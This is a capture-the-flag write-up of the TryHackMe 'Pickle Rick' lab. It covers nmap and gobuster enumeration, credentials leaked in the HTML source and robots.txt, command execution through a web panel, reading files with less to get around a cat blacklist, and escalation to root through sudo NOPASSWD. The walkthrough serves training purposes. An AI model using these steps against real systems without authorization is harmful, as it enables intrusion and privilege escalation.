Pickle Rick

Platform	TryHackMe
Difficulty	Easy
OS	Linux
Tags	web, rce, command-injection, privesc

TL;DR

A Rick and Morty themed web box, and a clean walk from a public web page to full root. The landing page and robots.txt between them hand over a username and password for a hidden login panel. Behind the login is a command panel that runs whatever you type on the server, giving code execution as www-data. The box blacklists the cat command, so files get read with less instead. The three secret ingredients sit in the web root, in Rick’s home directory, and in /root, and the last one is reachable because www-data is allowed to run anything through sudo with no password.

Reconnaissance

Two-phase nmap: a full TCP port sweep first, then a version and default-script scan on only the ports that answered.

# Phase 1: all 65535 TCP ports
nmap -p- --min-rate 1000 -T4 TARGET_IP -oN scans/nmap-allports.txt

# Phase 2: service/version + default scripts on the open ports
nmap -sC -sV -p22,80 TARGET_IP -oN scans/nmap-services.txt

Open ports:

Port	Service	Version
22	SSH	OpenSSH 8.2p1 (Ubuntu)
80	HTTP	Apache 2.4.41 (Ubuntu), title “Rick is sup4r cool”

SSH needs credentials we do not have, so everything that follows runs through port 80.

Enumeration

Page source

The rendered page complains that a password has been forgotten. The real prize is in the HTML source, where a developer comment leaks a username:

curl -s http://TARGET_IP/ | grep -i -E "user|pass|<!--"

<!--
    Note to self, remember username!
    Username: R1ckRul3s
-->

robots.txt

curl -s http://TARGET_IP/robots.txt

Wubbalubbadubdub

A single strange word with no other purpose on the page. It turns out to be the password.

Directory and file brute force

A bare directory scan only finds assets/ and a forbidden server-status, because it never appends file extensions. On a PHP and Apache stack you have to ask for them, and then the application pages appear:

gobuster dir -u http://TARGET_IP \
  -w /usr/share/wordlists/dirb/common.txt \
  -x php,html,txt -o scans/gobuster.txt

login.php    (Status: 200)
portal.php   (Status: 302) [--> /login.php]
denied.php   (Status: 302) [--> /login.php]

The flow is clear: log in at login.php, then land on portal.php.

Initial Access / Foothold

Username: R1ckRul3s
Password: Wubbalubbadubdub

portal.php presents a “Commands” panel that runs its input on the server. That is straight OS command execution as the web user www-data.

Listing the web root shows the first ingredient file and a clue file:

ls -la
# Sup3rS3cretPickl3Ingred.txt
# clue.txt
# assets  denied.php  index.html  login.php  portal.php  robots.txt

The panel blacklists cat, which blocks one binary rather than the ability to read files. Any other reader works. Here I used less:

less Sup3rS3cretPickl3Ingred.txt   # first ingredient
less clue.txt                      # "Look around the file system for the other ingredient."

Privilege Escalation

The clue points past the web root. Rick’s home directory holds the second ingredient, in a file whose name contains a space, so the path has to be quoted or the shell reads it as two separate files:

ls -la /home/rick/
less '/home/rick/second ingredients'   # second ingredient

The final ingredient lives in /root, which www-data cannot read as itself. The first thing to check is sudo rights, and here they are wide open:

sudo -l
# User www-data may run the following commands on this host:
#     (ALL) NOPASSWD: ALL

NOPASSWD: ALL means any command can be run as root with no password at all. Read the last ingredient from root’s home, still using less since cat is blocked:

sudo ls -la /root/
sudo less /root/3rd.txt            # final ingredient

Flags

The three ingredients are the room’s answers.

Ingredient	Location	Value
First	web root, `Sup3rS3cretPickl3Ingred.txt`	`REDACTED`
Second	`/home/rick/second ingredients`	`REDACTED`
Final	`/root/3rd.txt`	`REDACTED`

Values redacted for publication. The method to recover each is described above.

Lessons Learned

Read the HTML source and robots.txt on every web target. Here they leaked the two halves of a working credential pair.
When brute forcing directories on a PHP app, append extensions (-x php,html,txt), or you walk straight past a page like login.php.
A command blacklist stops a binary, not the capability behind it. cat was blocked, but less, more, grep, head, tail, and nl all read files just as well.
Filenames with spaces must be quoted or escaped, or the shell splits them into multiple arguments and the read fails.
Make sudo -l a reflex after any foothold. (ALL) NOPASSWD: ALL turns a web shell into instant root.
MITRE ATT&CK: T1190 Exploit Public-Facing Application, T1059 Command and Scripting Interpreter, T1548.003 Abuse Elevation Control Mechanism: Sudo and Sudo Caching.

References

nmap: https://nmap.org/book/man.html
gobuster: https://github.com/OJ/gobuster
GTFOBins, alternative binaries for file reads and privesc: https://gtfobins.github.io/

Note on process: the note-taking and documentation for this write-up were done with the help of an LLM to save time. All the actual work (solving the box, running the tools, obtaining the flags) was done by a human behind the keyboard.

TryHackMe: Pickle Rick Writeup